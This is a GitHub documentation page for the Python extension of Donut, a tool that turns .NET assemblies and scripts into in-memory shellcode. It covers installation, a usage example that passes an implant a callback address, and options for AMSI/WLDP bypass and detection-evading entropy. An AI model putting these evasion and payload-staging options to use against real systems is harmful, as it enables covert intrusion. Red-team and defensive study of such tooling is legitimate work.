Skip to content

Latest commit

 

History

History
160 lines (139 loc) · 7.7 KB

2019-08-21-Python_Extension.md

File metadata and controls

160 lines (139 loc) · 7.7 KB

Python Extension

A Python C extension is now available which allows you to dynamically generate donut shellcode in Python.

Requirements

The extension has only been tested in Python 3.7, it shouldn't have any compatibility issues with older 3.X versions of Python.

It will not work in Python 2.x.

Installing the Extension

(Once the extension has been published to PyPi)

pip3 install donut-shellcode

Manually Compiling And Installing the Extension

git clone https://github.com/TheWover/donut && cd donut
pip3 install . # or python setup.py install

Usage

The Python extension accepts the same parameters as the main donut executable.

Here's a minimalistic example of using the extension:

import donut
shellcode = donut.create(file="naga.exe", params='https://172.16.164.1/')

The donut module exposes only one function create(), which is used to generate shellcode and accepts both positional and keyword arguments.

The only required parameter the create() function needs is the file argument which accepts a path to the .NET EXE/DLL or VBS/JS file to turn into shellcode.

import donut

shellcode = donut.create(
    file='naga.exe',         # .NET assembly, EXE, DLL, VBS, JS or XSL file to execute in-memory
    url='http://127.0.0.1',  # HTTP server that will host the donut module
    arch=1,                  # Target architecture : 1=x86, 2=amd64, 3=x86+amd64(default)
    bypass=3,                # Bypass AMSI/WLDP : 1=none, 2=abort on fail, 3=continue on fail.(default)
    cls='namespace.class',   # Optional class name.  (required for .NET DLL)
    method='method',         # Optional method or API name for DLL. (method is required for .NET DLL)
    params='arg1 arg2',      # Optional parameters or command line.
    runtime='version',       # CLR runtime version. MetaHeader used by default or v4.0.30319 if none available
    appdomain='name'         # AppDomain name to create for .NET. Randomly generated by default.
)

Keywords

The following table lists key words for the create method.

Keyword Type Description
file String The path of file to execute in memory. VBS/JS/EXE/DLL files are supported.
arch Integer Indicates the type of assembly code to generate. 1=DONUT_ARCH_X86 and 2=DONUT_ARCH_X64 are self-explanatory. 3=DONUT_ARCH_X84 indicates dual-mode that combines shellcode for both X86 and AMD64. ARM64 will be supported at some point.
bypass Integer Specifies behaviour of the code responsible for bypassing AMSI and WLDP. The current options are 1=DONUT_BYPASS_NONE which indicates that no attempt be made to disable AMSI or WLDP. 2=DONUT_BYPASS_ABORT indicates that failure to disable should result in aborting execution of the module. 3=DONUT_BYPASS_CONTINUE indicates that even if AMSI/WDLP bypasses fail, the shellcode will continue with execution.
compress Integer Indicates if the input file should be compressed. Available engines are 1=DONUT_COMPRESS_NONE, 2=DONUT_COMPRESS_APLIB to use the aPLib algorithm. For builds on Windows, the RtlCompressBuffer API is available and supports 3=DONUT_COMPRESS_LZNT1, 4=DONUT_COMPRESS_XPRESS and 5=DONUT_COMPRESS_XPRESS_HUFF.
entropy Integer Indicates whether Donut should use entropy and/or encryption for the loader to help evade detection. Available options are 1=DONUT_ENTROPY_NONE, 2=DONUT_ENTROPY_RANDOM, which generates random strings and 3=DONUT_ENTROPY_DEFAULT that combines DONUT_ENTROPY_RANDOM with symmetric encryption.
format Integer Specifies the output format for the shellcode loader. Supported formats are 1=DONUT_FORMAT_BINARY, 2=DONUT_FORMAT_BASE64, 3=DONUT_FORMAT_RUBY, 4=DONUT_FORMAT_C, 5=DONUT_FORMAT_PYTHON, 6=DONUT_FORMAT_POWERSHELL, 7=DONUT_FORMAT_CSHARP and 8=DONUT_FORMAT_HEX. On Windows, the base64 string is copied to the clipboard.
exit_opt Integer When the shellcode ends, RtlExitUserThread is called, which is the default behaviour. Use 2=DONUT_OPT_EXIT_PROCESS to terminate the host process via the RtlExitUserProcess API. Use 3=DONUT_OPT_EXIT_BLOCK to not exit or cleanup and instead block indefinitely.
thread Integer If the file is an unmanaged EXE, the loader will run the entrypoint as a thread. The loader also attempts to intercept calls to exit-related API stored in the Import Address Table by replacing those pointers with the address of the RtlExitUserThread API. However, hooking via IAT is generally unreliable and Donut may use code splicing / hooking in the future.
oep String Tells the loader to create a new thread before continuing execution at the OEP provided by the user. Address should be in hexadecimal format.
output String The path of where to save the shellcode/loader. Default is "loader.bin".
runtime String The CLR runtime version to use for a .NET assembly. If none is provided, Donut will try reading from the PE's COM directory. If that fails, v4.0.30319 is used by default.
appdomain String AppDomain name to create. If one is not specified by the caller, it will be generated randomly. If entropy is disabled, it will be set to "AAAAAAAA"
cls String The class name with method to invoke. A namespace is optional. e.g: namespace.class
method String The method that will be invoked by the shellcode once a .NET assembly is loaded into memory. This also holds the name of an exported API if the module is an unmanaged DLL.
params String List of parameters for the .NET method or DLL function. For unmanaged EXE files, a 4-byte string is generated randomly to act as the module name. If entropy is disabled, this will be "AAAA"
unicode Integer By default, the params string is passed to an unmanaged DLL function as-is, in ANSI format. If set, param is converted to UNICODE.
url or server String If the instance type is DONUT_INSTANCE_HTTP, this should contain the server and path of where module will be stored. e.g: https://www.staging-server.com/modules/
modname String If the type is DONUT_INSTANCE_HTTP, this will contain the name of the module for where to save the contents of mod to disk. If none is provided by the user, it will be generated randomly. If entropy is disabled, it will be set to "AAAAAAAA"

Author

The Python extension was written by @byt3bl33d3r